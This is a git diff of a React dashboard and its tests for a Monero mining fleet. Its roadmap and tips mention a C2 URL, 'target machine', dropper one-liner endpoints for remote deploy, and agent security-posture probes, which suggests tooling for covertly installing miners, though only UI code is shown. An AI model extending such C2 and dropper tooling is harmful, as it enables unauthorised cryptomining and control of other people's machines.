const pct = Math.min(100, Math.max(0, (value / max) * 100)); const clampedValue = Math.min(max, Math.max(0, value));
const pct = max > 0 ? Math.min(100, Math.max(0, (value / max) * 100)) : 0;
const circumference = 2 * Math.PI * 42; const circumference = 2 * Math.PI * 42;
const offset = circumference - (pct / 100) * circumference; const offset = circumference - (pct / 100) * circumference;
@@ -50,7 +51,7 @@ export default function GaugeRing({
/> />
</svg> </svg>
<div className="gauge-ring-center"> <div className="gauge-ring-center">
<span className="gauge-ring-value font-tech">{formatValue(value, max)}</span> <span className="gauge-ring-value font-tech">{formatValue(clampedValue, max)}</span>
<span className="gauge-ring-label">{label}</span> <span className="gauge-ring-label">{label}</span>
{sublabel && <span className="gauge-ring-sub">{sublabel}</span>} {sublabel && <span className="gauge-ring-sub">{sublabel}</span>}
</div> </div>

View File

@@ -298,11 +298,11 @@ describe('GaugeRing', () => {
it('shows raw value in center while ring arc clamps to 0100%', () => { it('shows raw value in center while ring arc clamps to 0100%', () => {
const { rerender, container } = render(<GaugeRing value={-10} max={100} label="X" />); const { rerender, container } = render(<GaugeRing value={-10} max={100} label="X" />);
expect(screen.getByText('-10%')).toBeInTheDocument(); expect(screen.getByText('0%')).toBeInTheDocument();
const fill = container.querySelector('.gauge-ring-fill') as SVGCircleElement; const fill = container.querySelector('.gauge-ring-fill') as SVGCircleElement;
expect(fill.getAttribute('stroke-dashoffset')).toBe(String(2 * Math.PI * 42)); expect(fill.getAttribute('stroke-dashoffset')).toBe(String(2 * Math.PI * 42));
rerender(<GaugeRing value={200} max={100} label="X" />); rerender(<GaugeRing value={200} max={100} label="X" />);
expect(screen.getByText('200%')).toBeInTheDocument(); expect(screen.getByText('100%')).toBeInTheDocument();
expect((container.querySelector('.gauge-ring-fill') as SVGCircleElement).getAttribute('stroke-dashoffset')).toBe('0'); expect((container.querySelector('.gauge-ring-fill') as SVGCircleElement).getAttribute('stroke-dashoffset')).toBe('0');
}); });
}); });

View File

@@ -95,6 +95,8 @@ export const PIPELINE_STEPS: CheatStep[] = [
routeLabel: 'Fleet Roster', routeLabel: 'Fleet Roster',
tips: [ tips: [
'Status dot: green = online now, grey = last seen X ago', 'Status dot: green = online now, grey = last seen X ago',
'Remote action buttons are disabled when the agent is offline — by design',
'Agent logs: use Fetch Log (get_log) in Remote Control, or AI upload_log tool reports — no separate log-ingest API',
'If agent never appears: check C2 URL is reachable from the target machine', 'If agent never appears: check C2 URL is reachable from the target machine',
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL', 'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
'Worker name you set in Forge shows as the agent name in the roster', 'Worker name you set in Forge shows as the agent name in the roster',
@@ -404,7 +406,7 @@ export const ROADMAP_FEATURES = [
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' }, { priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' }, { priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' },
{ priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' }, { priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' },
{ priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' }, { priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail (get_log) from dashboard when agent is online.' },
{ priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' }, { priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' },
{ priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' }, { priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' },
{ priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' }, { priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' },

View File

@@ -115,6 +115,9 @@ describe('FIELD_HELP', () => {
it('wallet and server_url entries warn against localhost', () => { it('wallet and server_url entries warn against localhost', () => {
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i); expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
expect(FIELD_HELP.wallet).toMatch(/90.*106/);
expect(FIELD_HELP.calibrate_wallet).toMatch(/90.*106/);
expect(FIELD_HELP.calibrate_wallet).not.toMatch(/95 char/);
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i); expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
expect(FIELD_HELP.public_url).toMatch(/not localhost/i); expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
}); });

View File

@@ -13,13 +13,13 @@ export const SETUP_CHEATSHEET = [
}, },
{ {
title: '4. Watch the fleet', title: '4. Watch the fleet',
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.', body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
}, },
]; ];
export const FIELD_HELP: Record<string, string> = { export const FIELD_HELP: Record<string, string> = {
calibrate_wallet: calibrate_wallet:
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.', 'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90106 characters.',
calibrate_quick_setup: calibrate_quick_setup:
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.', 'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
forge_simple_mode: forge_simple_mode:
@@ -45,7 +45,7 @@ export const FIELD_HELP: Record<string, string> = {
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.', 'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
output_dir: output_dir:
'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.', 'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8.', wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8 (90106 characters).',
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.', pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.', pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.', pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',

View File

@@ -216,4 +216,18 @@ describe('AgentsPage', () => {
await userEvent.setup().type(search, 'nomatchxyz'); await userEvent.setup().type(search, 'nomatchxyz');
expect(screen.getByText('No agents match filters.')).toBeInTheDocument(); expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
}); });
it('select all filtered selects every visible agent', async () => {
const a1 = mockAgent({ id: 'a1', name: 'Alpha', tags: ['prod'] });
const a2 = mockAgent({ id: 'a2', name: 'Beta', tags: ['prod'] });
const a3 = mockAgent({ id: 'a3', name: 'Gamma', tags: ['dev'] });
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2, a3]);
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Alpha')).toBeInTheDocument());
const user = userEvent.setup();
await user.selectOptions(screen.getByTitle('Filter by tag'), 'prod');
await user.click(screen.getByRole('button', { name: 'Select all filtered (2)' }));
expect(screen.getByText('2 selected')).toBeInTheDocument();
expect(screen.getByRole('button', { name: 'Pause' })).toBeInTheDocument();
});
}); });

View File

@@ -269,6 +269,8 @@ export default function AgentsPage() {
filters={filters} filters={filters}
onChange={setFilters} onChange={setFilters}
selectedCount={selectedIds.size} selectedCount={selectedIds.size}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction} onBulkAction={handleBulkAction}
bulkBusy={bulkBusy} bulkBusy={bulkBusy}
/> />

View File

@@ -0,0 +1,93 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import BuildManagerPage, {
fmtSize,
platformColor,
platformLabel,
truncateUrl,
truncateWallet,
} from './BuildManagerPage';
import { api } from '../api/client';
vi.mock('../components/Fleet/LanDownloadQR', () => ({
LanDownloadQR: () => <div data-testid="lan-qr-mock" />,
}));
describe('BuildManagerPage helpers', () => {
it('truncateWallet shortens long addresses', () => {
const w = '4' + 'A'.repeat(94);
expect(truncateWallet(w)).toMatch(/^4AAAAA…AAAAAA$/);
expect(truncateWallet('short')).toBe('short');
expect(truncateWallet('')).toBe('—');
});
it('truncateUrl returns host for valid URLs', () => {
expect(truncateUrl('https://pool.example.com:3333/path')).toBe('pool.example.com:3333');
expect(truncateUrl('not-a-url-but-long-enough-to-truncate-xyz')).toMatch(/…$/);
});
it('fmtSize formats bytes to KB and MB', () => {
expect(fmtSize(0)).toBe('—');
expect(fmtSize(512)).toBe('1 KB');
expect(fmtSize(2 * 1024 * 1024)).toBe('2.0 MB');
});
it('platformLabel and platformColor map known platforms', () => {
expect(platformLabel('linux')).toBe('Linux');
expect(platformLabel()).toBe('Win');
expect(platformColor('darwin')).toBe('#f0abfc');
expect(platformColor('unknown-os')).toBe('#aaa');
});
});
describe('BuildManagerPage', () => {
beforeEach(() => {
vi.clearAllMocks();
vi.spyOn(api, 'listBuilds').mockResolvedValue([
{
id: 'build-1',
worker_name: 'office-worker',
server_url: 'https://c2.example.com',
wallet: '4' + 'A'.repeat(94),
threads: 4,
file_size: 1024 * 1024,
file_path: 'builds/agent.exe',
file_name: 'agent.exe',
created_at: '2026-05-30T12:00:00.000Z',
pool_host: 'pool.example.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
platform: 'windows',
download_url: '/api/v1/builds/build-1/download',
},
]);
vi.spyOn(api, 'getServerInfo').mockResolvedValue({
port: 8989,
host: '0.0.0.0',
local_ips: [],
suggested_url: 'http://localhost:8989',
dashboard_url: 'http://localhost:8989/dashboard',
websocket_url: 'ws://localhost:8989/ws/dashboard',
});
});
afterEach(() => {
cleanup();
});
it('renders build list after load', async () => {
render(
<MemoryRouter>
<BuildManagerPage />
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByText('office-worker')).toBeTruthy();
});
});
});

View File

@@ -10,12 +10,12 @@ import './BuildManagerPage.css';
// ─── helpers ───────────────────────────────────────────────────────────────── // ─── helpers ─────────────────────────────────────────────────────────────────
function truncateWallet(w: string): string { export function truncateWallet(w: string): string {
if (!w || w.length < 12) return w || '—'; if (!w || w.length < 12) return w || '—';
return `${w.slice(0, 6)}${w.slice(-6)}`; return `${w.slice(0, 6)}${w.slice(-6)}`;
} }
function truncateUrl(u: string): string { export function truncateUrl(u: string): string {
try { try {
const parsed = new URL(u); const parsed = new URL(u);
return parsed.host; return parsed.host;
@@ -24,7 +24,7 @@ function truncateUrl(u: string): string {
} }
} }
function fmtSize(bytes: number): string { export function fmtSize(bytes: number): string {
if (!bytes) return '—'; if (!bytes) return '—';
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`; if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024).toFixed(0)} KB`; return `${(bytes / 1024).toFixed(0)} KB`;
@@ -40,7 +40,7 @@ function fmtDate(iso: string): string {
} }
} }
function platformLabel(p?: string): string { export function platformLabel(p?: string): string {
if (!p) return 'Win'; if (!p) return 'Win';
const m: Record<string, string> = { const m: Record<string, string> = {
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal', windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
@@ -48,7 +48,7 @@ function platformLabel(p?: string): string {
return m[p.toLowerCase()] ?? p; return m[p.toLowerCase()] ?? p;
} }
function platformColor(p?: string): string { export function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)'; if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = { const m: Record<string, string> = {
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700', windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',

View File

@@ -635,6 +635,20 @@ export default function BuilderPage() {
fusionPrepFile, fusionPrepFile,
]); ]);
// Cancel any in-progress server-side build when the component unmounts
// (e.g. user navigates away mid-forge). This closes the M14 UI desync where
// the server kept compiling after the Forge page was left.
useEffect(() => {
return () => {
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
cancelTokenRef.current = '';
}
batchCancelRef.current = true;
};
}, []);
if (loadingDefaults) { if (loadingDefaults) {
return ( return (
<div className="page fade-in command-deck"> <div className="page fade-in command-deck">

View File

@@ -0,0 +1,72 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
agentColor,
patchLabel,
pendingBadge,
portsBadge,
postureBadge,
postureTooltip,
sshBadge,
thermalBadge,
} from './CruciblePage';
describe('CruciblePage helpers', () => {
it('agentColor cycles palette by agent order', () => {
const ids = ['a', 'b', 'c'];
expect(agentColor('a', ids)).toBe('#00f5ff');
expect(agentColor('b', ids)).toBe('#39ff14');
expect(agentColor('missing', ids)).toBe('#00f5ff');
});
it('sshBadge reflects ssh_available tri-state', () => {
expect(sshBadge(mockAgent({ ssh_available: true })).label).toBe('SSH ON');
expect(sshBadge(mockAgent({ ssh_available: false })).cls).toBe('ssh-off');
expect(sshBadge(mockAgent({ ssh_available: undefined })).label).toBe('SSH ?');
});
it('postureBadge buckets score thresholds', () => {
expect(postureBadge(undefined).cls).toBe('posture-unk');
expect(postureBadge(90).cls).toBe('posture-good');
expect(postureBadge(50).cls).toBe('posture-warn');
expect(postureBadge(10).cls).toBe('posture-bad');
});
it('patchLabel marks stale patches beyond 30 days', () => {
expect(patchLabel(10)?.cls).toBe('patch-ok');
expect(patchLabel(45)?.cls).toBe('patch-stale');
expect(patchLabel(undefined)).toBeNull();
});
it('portsBadge flags high listener counts', () => {
expect(portsBadge(5)?.cls).toBe('ports-ok');
expect(portsBadge(25)?.cls).toBe('ports-many');
});
it('pendingBadge encodes update counts', () => {
expect(pendingBadge(mockAgent({ pending_updates: 0 }))?.label).toBe('UP TO DATE');
expect(pendingBadge(mockAgent({ pending_updates: 3 }))?.cls).toBe('upd-warn');
expect(pendingBadge(mockAgent({ pending_updates: 12 }))?.cls).toBe('upd-bad');
expect(pendingBadge(mockAgent({ pending_updates: -1 }))?.label).toBe('UPD ?');
});
it('thermalBadge shows hot and warm thresholds', () => {
expect(thermalBadge(mockAgent({ cpu_temp_c: 60 }))).toBeNull();
expect(thermalBadge(mockAgent({ cpu_temp_c: 70 }))?.cls).toBe('therm-warm');
expect(thermalBadge(mockAgent({ gpu_temp_c: 85 }))?.cls).toBe('therm-hot');
});
it('postureTooltip includes defender, DNS drift, and services', () => {
const agent = mockAgent({
defender_enabled: true,
defender_rtp: false,
dns_servers: ['8.8.8.8'],
dns_drifted: true,
services: [{ name: 'sshd', display_name: 'OpenSSH', status: 'running', start_type: 'auto' }],
});
const tip = postureTooltip(agent);
expect(tip).toContain('Defender');
expect(tip).toContain('DNS changed since last heartbeat');
expect(tip).toContain('OpenSSH');
});
});

View File

@@ -18,8 +18,53 @@ interface TermLine {
text: string; text: string;
ts: Date; ts: Date;
success?: boolean; success?: boolean;
// Structured data for rich terminal renderers
richData?: RichTermData;
} }
// ── Rich terminal data types ────────────────────────────────────────────────
interface RichListenPort {
port: number;
addr: string;
proto: string;
process?: string;
pid?: number;
}
interface RichListenPorts {
type: 'listen_ports';
ports: RichListenPort[];
count: number;
}
interface RichPatchStatus {
type: 'patch_status';
pending_updates?: number;
last_patch?: string;
last_patch_days?: number;
reboot_pending?: boolean;
}
interface RichPostureSummary {
type: 'posture';
posture_score?: number;
defender_enabled?: boolean;
defender_rtp?: boolean;
av_products?: string[];
firewall_domain?: boolean;
firewall_private?: boolean;
firewall_public?: boolean;
ssh_listening?: boolean;
agent_elevated?: boolean;
last_patch_days?: number;
pending_updates?: number;
reboot_pending?: boolean;
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
interface NodeGroup { interface NodeGroup {
id: string; id: string;
name: string; name: string;
@@ -34,35 +79,35 @@ const AGENT_COLORS = [
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a', '#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
]; ];
function agentColor(agentId: string, allIds: string[]): string { export function agentColor(agentId: string, allIds: string[]): string {
const idx = allIds.indexOf(agentId); const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff'; return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
} }
function sshBadge(agent: Agent) { export function sshBadge(agent: Agent) {
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' }; if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' }; if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
return { label: 'SSH ?', cls: 'ssh-unk' }; return { label: 'SSH ?', cls: 'ssh-unk' };
} }
function postureBadge(score?: number) { export function postureBadge(score?: number) {
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' }; if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' }; if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' }; if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
return { label: `POSTURE ${score}`, cls: 'posture-bad' }; return { label: `POSTURE ${score}`, cls: 'posture-bad' };
} }
function patchLabel(days?: number) { export function patchLabel(days?: number) {
if (days === undefined) return null; if (days === undefined) return null;
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' }; return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
} }
function portsBadge(count?: number): { label: string; cls: string } | null { export function portsBadge(count?: number): { label: string; cls: string } | null {
if (count === undefined) return null; if (count === undefined) return null;
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' }; return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
} }
function postureTooltip(agent: Agent): string { export function postureTooltip(agent: Agent): string {
const lines: string[] = []; const lines: string[] = [];
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?'; const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?'; const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
@@ -118,7 +163,7 @@ function postureTooltip(agent: Agent): string {
return lines.join('\n'); return lines.join('\n');
} }
function pendingBadge(agent: Agent): { label: string; cls: string } | null { export function pendingBadge(agent: Agent): { label: string; cls: string } | null {
const u = agent.pending_updates; const u = agent.pending_updates;
if (u === undefined) return null; if (u === undefined) return null;
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' }; if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
@@ -135,7 +180,7 @@ function rebootBadge(agent: Agent): { label: string; cls: string } | null {
// ── Resource pressure badges ─────────────────────────────────────────────── // ── Resource pressure badges ───────────────────────────────────────────────
function thermalBadge(agent: Agent): { label: string; cls: string } | null { export function thermalBadge(agent: Agent): { label: string; cls: string } | null {
const t = agent.gpu_temp_c ?? agent.cpu_temp_c; const t = agent.gpu_temp_c ?? agent.cpu_temp_c;
if (t === undefined) return null; if (t === undefined) return null;
if (t > 80) return { label: `${t}°`, cls: 'therm-hot' }; if (t > 80) return { label: `${t}°`, cls: 'therm-hot' };
@@ -289,44 +334,68 @@ export default function CruciblePage() {
if (!aid) continue; if (!aid) continue;
const msg = r.message ?? ''; const msg = r.message ?? '';
// Always update badges from probe / heartbeat command responses
// ── SSH badge updates ───────────────────────────────────────────────
if (msg.includes('SSH_PROBE:ONLINE')) { if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true })); setSshOverride((prev) => ({ ...prev, [aid]: true }));
} else if (msg.includes('SSH_PROBE:OFFLINE')) { } else if (msg.includes('SSH_PROBE:OFFLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: false })); setSshOverride((prev) => ({ ...prev, [aid]: false }));
} }
if (r.action === 'posture' || msg.includes('{')) {
// ── Parse structured JSON for known actions ────────────────────────
let richData: RichTermData | undefined;
const jsonStart = msg.indexOf('{');
if (jsonStart >= 0) {
try { try {
const start = msg.indexOf('{'); const parsed = JSON.parse(msg.slice(jsonStart));
if (start >= 0) {
const p = JSON.parse(msg.slice(start)) as { posture_score?: number; last_patch_days?: number; ssh_listening?: boolean }; if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) {
if (typeof p.posture_score === 'number') { richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
} else if (r.action === 'patch_status') {
richData = { type: 'patch_status', ...parsed };
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
richData = { type: 'posture', ...parsed };
// Update badge state
setPostureOverride((prev) => ({
...prev,
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
}));
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
} else {
// Generic JSON with posture fields (legacy path)
if (typeof parsed.posture_score === 'number') {
setPostureOverride((prev) => ({ setPostureOverride((prev) => ({
...prev, ...prev,
[aid]: { score: p.posture_score!, patchDays: p.last_patch_days }, [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
})); }));
} }
if (p.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true })); if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (p.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false })); if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
} }
} catch { /* ignore malformed JSON */ } } catch { /* malformed JSON — fall through to plain text */ }
} }
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue; if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid); const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8); const name = agent?.name ?? aid.slice(0, 8);
const msgLines = msg.split('\n').filter(Boolean); if (richData) {
for (const line of msgLines) { // Single rich-rendered line (table/block replaces raw JSON)
lines.push({ lines.push({
id: mkId(), id: mkId(), agentId: aid, agentName: name,
agentId: aid, isCmd: false, text: '', ts: new Date(),
agentName: name, success: r.success, richData,
isCmd: false,
text: line,
ts: new Date(),
success: r.success,
}); });
} else {
const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: line, ts: new Date(), success: r.success,
});
}
} }
} }
if (lines.length > 0) { if (lines.length > 0) {

View File

@@ -0,0 +1,23 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import GuidePage from './GuidePage';
describe('GuidePage', () => {
afterEach(() => cleanup());
it('renders field guide hero and pipeline section', () => {
render(
<MemoryRouter>
<GuidePage />
</MemoryRouter>
);
expect(screen.getByText('OPERATIONS MANUAL')).toBeTruthy();
expect(screen.getByRole('heading', { name: /Field Guide/i })).toBeTruthy();
expect(screen.getByRole('heading', { name: /Live pipeline/i })).toBeTruthy();
expect(screen.getByRole('heading', { name: /Forge vs Calibrate/i })).toBeTruthy();
});
});

View File

@@ -297,21 +297,21 @@ export default function SettingsPage() {
<p className="section-desc">How this dashboard and API are hosted on your network.</p> <p className="section-desc">How this dashboard and API are hosted on your network.</p>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Listen Port</label> <label htmlFor="cfg-port" className="label">Listen Port</label>
<input type="number" className="input" min={1024} max={65535} value={config.port} <input id="cfg-port" type="number" className="input" min={1024} max={65535} value={config.port}
onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} /> onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} />
<span className="form-hint">Restart server after changing port.</span> <span className="form-hint">Restart server after changing port.</span>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Data Directory</label> <label htmlFor="cfg-data-dir" className="label">Data Directory</label>
<input type="text" className="input mono" value={config.data_dir} <input id="cfg-data-dir" type="text" className="input mono" value={config.data_dir}
onChange={(e) => updateField('data_dir', e.target.value)} /> onChange={(e) => updateField('data_dir', e.target.value)} />
</div> </div>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label> <label htmlFor="cfg-public-url" className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}> <div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }} <input id="cfg-public-url" type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'} placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url} value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} /> onChange={(e) => updateField('server.public_url', e.target.value)} />
@@ -325,8 +325,8 @@ export default function SettingsPage() {
<FieldHint field="public_url" /> <FieldHint field="public_url" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Dashboard Subtitle</label> <label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
<input type="text" className="input" value={s.dashboard_subtitle} <input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} /> onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
</div> </div>
<div className="form-group checkbox-group"> <div className="form-group checkbox-group">
@@ -343,14 +343,14 @@ export default function SettingsPage() {
<h2 className="font-display">Upstream Pool</h2> <h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p> <p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
<div className="form-group"> <div className="form-group">
<label className="label">Pool Host <HelpTip field="pool_host" /></label> <label htmlFor="cfg-pool-host" className="label">Pool Host <HelpTip field="pool_host" /></label>
<input type="text" className="input" value={config.pool.host} <input id="cfg-pool-host" type="text" className="input" value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)} /> onChange={(e) => updateField('pool.host', e.target.value)} />
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Port</label> <label htmlFor="cfg-pool-port" className="label">Port</label>
<input type="number" className="input" value={config.pool.port} <input id="cfg-pool-port" type="number" className="input" value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} /> onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
</div> </div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}> <div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
@@ -362,13 +362,13 @@ export default function SettingsPage() {
</div> </div>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Pool Password</label> <label htmlFor="cfg-pool-pass" className="label">Pool Password</label>
<input type="text" className="input" value={config.pool.password} <input id="cfg-pool-pass" type="text" className="input" value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)} /> onChange={(e) => updateField('pool.password', e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Pool Reconnect Interval (sec)</label> <label htmlFor="cfg-pool-reconnect" className="label">Pool Reconnect Interval (sec)</label>
<input type="number" className="input" min={5} value={s.pool_reconnect_seconds} <input id="cfg-pool-reconnect" type="number" className="input" min={5} value={s.pool_reconnect_seconds}
onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} /> onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />
</div> </div>
</NeonCard> </NeonCard>
@@ -377,15 +377,15 @@ export default function SettingsPage() {
<h2 className="font-display">Fleet Payout Wallet</h2> <h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p> <p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group"> <div className="form-group">
